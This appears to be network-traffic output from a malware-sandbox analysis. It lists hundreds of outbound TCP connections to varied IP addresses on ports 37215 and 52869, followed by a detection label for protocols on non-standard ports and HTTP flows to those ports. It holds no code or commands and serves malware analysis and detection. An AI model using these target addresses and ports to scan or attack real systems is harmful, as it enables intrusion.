Source: global traffic	TCP traffic: 197.12.80.19 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.88.95.100 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.206.29.101 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.253.152.21 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.199.126.126 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.99.178.7 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.123.130.208 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.94.90.110 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.117.66.202 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.166.65.21 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.74.65.247 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.31.79.10 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.163.177.16 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.70.221.90 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.225.172.78 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.167.69.48 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.1.142.180 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.145.115.97 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.27.123.27 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.217.158.32 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.140.98.60 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.127.38.166 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.37.164.59 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.50.243.152 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.96.3.63 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.137.0.191 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.74.170.175 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.232.195.50 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.10.15.212 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.167.247.111 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.61.171.219 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.43.129.143 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.162.89.139 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.189.145.36 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.9.248.12 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.21.41.116 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.97.250.235 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.97.6.254 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.129.48.75 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.250.8.226 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.103.215.205 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.100.203.233 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.14.164.47 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.74.94.58 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.169.170.32 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.174.196.3 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.214.176.71 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.193.13.127 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.177.84.214 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.226.61.3 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.208.106.255 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.231.64.214 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.199.125.37 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.218.25.18 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.252.133.48 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.39.129.65 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.45.241.47 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.218.13.28 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.39.238.174 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.254.67.195 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.28.154.184 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.103.1.233 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.199.34.71 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.59.78.245 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.197.211.16 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.249.205.217 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.179.3.91 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.83.159.250 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.28.242.205 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.177.167.219 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.9.119.228 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.205.9.203 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.231.129.21 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.113.120.135 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.168.207.39 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.14.189.85 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.43.179.246 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.80.108.123 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.48.140.101 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.84.144.119 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.220.220.107 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.83.45.11 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.127.37.120 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.77.192.94 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.105.199.90 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.165.42.93 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.76.127.73 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.18.91.222 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.25.248.194 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.228.143.114 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.31.178.23 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.231.60.22 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.133.228.190 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.186.204.57 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.10.211.53 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.197.108.71 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.53.69.3 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.152.98.185 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.199.58.224 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.128.33.171 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.168.92.243 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.224.118.56 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.101.138.138 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.227.255.161 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.3.121.77 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.12.160.53 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.121.233.57 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.187.20.236 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.154.60.13 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.199.190.34 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.218.184.224 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.38.138.77 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.128.45.189 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.216.109.25 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.98.249.24 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.100.48.63 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.103.173.224 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.232.105.157 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.218.162.142 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.37.188.94 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.206.89.9 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.97.46.192 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.172.165.205 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.133.73.245 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.222.226.163 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.39.77.64 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.59.66.240 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.26.239.52 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.43.4.149 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.69.189.34 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.54.222.34 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.211.60.118 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.25.84.94 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.5.249.194 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.108.139.233 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.30.92.86 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.247.204.8 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.196.118.52 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.222.222.162 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.248.198.178 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.29.51.142 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.115.11.71 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.111.41.53 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.41.144.108 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.189.96.119 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.145.54.106 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.14.201.89 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.202.121.192 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.222.40.85 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.236.190.173 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.81.171.85 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.33.215.35 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.47.207.152 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.99.150.85 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.199.59.166 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.153.67.226 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.68.169.141 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.73.153.242 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.53.67.33 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.73.225.8 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.131.104.76 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.113.111.126 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.27.125.125 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.70.132.232 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.133.130.130 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.243.247.221 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.144.27.200 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.57.17.249 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.239.174.27 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.241.58.16 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.224.13.162 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.15.219.247 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.154.251.104 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.48.0.6 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.34.186.210 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.229.181.62 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.216.74.159 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.117.58.167 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.53.32.243 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.253.146.211 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.187.50.184 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.21.83.188 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.6.59.74 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.46.4.32 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.82.221.129 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.63.47.107 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.45.164.59 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.148.169.10 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.14.72.174 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.251.33.16 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.188.37.253 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.241.250.10 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.160.44.49 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.26.247.100 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.18.82.129 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.57.109.37 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.84.162.109 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.193.124.25 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.212.159.208 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.59.130.199 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.73.36.58 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.101.231.36 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.100.107.0 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.52.44.221 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.105.198.238 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.77.83.228 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.197.169.128 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.54.44.90 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.128.83.47 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.1.175.86 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.36.98.78 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.129.249.37 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.40.186.136 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.46.235.19 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.251.61.241 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.40.218.232 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.106.245.35 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.154.217.250 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.122.146.138 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.228.198.11 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.202.224.22 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.54.45.35 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.143.210.44 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.218.220.2 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.125.46.219 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.253.145.218 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.255.147.247 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.131.252.49 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.122.28.201 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.16.184.131 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.127.137.224 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.44.220.216 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.132.100.177 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.49.70.143 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.82.65.161 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.165.212.19 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.195.96.132 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.252.161.173 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.146.104.57 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.174.126.130 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.108.221.206 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.50.203.12 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.209.140.78 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.37.148.58 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.28.38.187 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.187.237.232 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.194.133.210 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.54.168.161 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.5.204.6 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.90.212.185 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.170.210.184 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.89.86.35 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.104.201.84 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.79.6.226 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.218.155.181 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.118.117.49 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.136.42.214 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.244.68.203 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.107.6.252 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.45.92.114 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.103.209.188 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.240.145.137 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.170.229.87 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.142.203.25 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.35.197.202 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.199.251.203 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.112.39.52 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.61.232.166 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.21.248.217 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.144.177.43 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.235.201.159 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.213.42.31 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.218.147.117 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.97.76.206 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.218.195.246 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.246.105.213 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.118.64.160 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.18.241.231 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.205.33.79 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.230.95.244 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.130.193.94 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.250.119.153 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.38.152.204 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.22.252.57 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.187.86.147 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.226.153.126 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.234.244.9 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.12.51.88 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.148.173.245 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.153.69.17 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.91.56.95 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.233.57.150 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.18.171.232 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.214.200.166 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.79.168.188 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.198.127.12 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.56.70.253 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.252.69.210 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.42.34.155 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.89.173.110 ports 1,2,3,5,7,37215

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 48420 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55648 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43260 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34958 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 45946 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40064 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53662 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 50822 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51048 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36750 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49360 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 36106 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44106 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 54712 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 42552 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59686 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34758 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 33068 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39600 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52386 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44220 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45566 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49034 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59506 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59856 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50752 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54362 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60342 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59160 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45444 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37104 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38580 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34526 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43520 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46734 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39594 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58254 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39422 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 35244 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47200 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53988 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37872 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38984 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58012 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56986 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48866 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 37004 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44464 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59482 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53292 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51564 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34774 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44568 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46408 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51074 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33830 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55010 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38940 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55360 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42072 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48000 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58026 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46116 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34260 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56600 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33408 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32788 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37026 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51350 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52720 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 35028 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42220 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46616 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47776 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43772 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60542 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40704 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47160 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60704 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51236 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36658 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53472 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41842 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55290 -> 37215
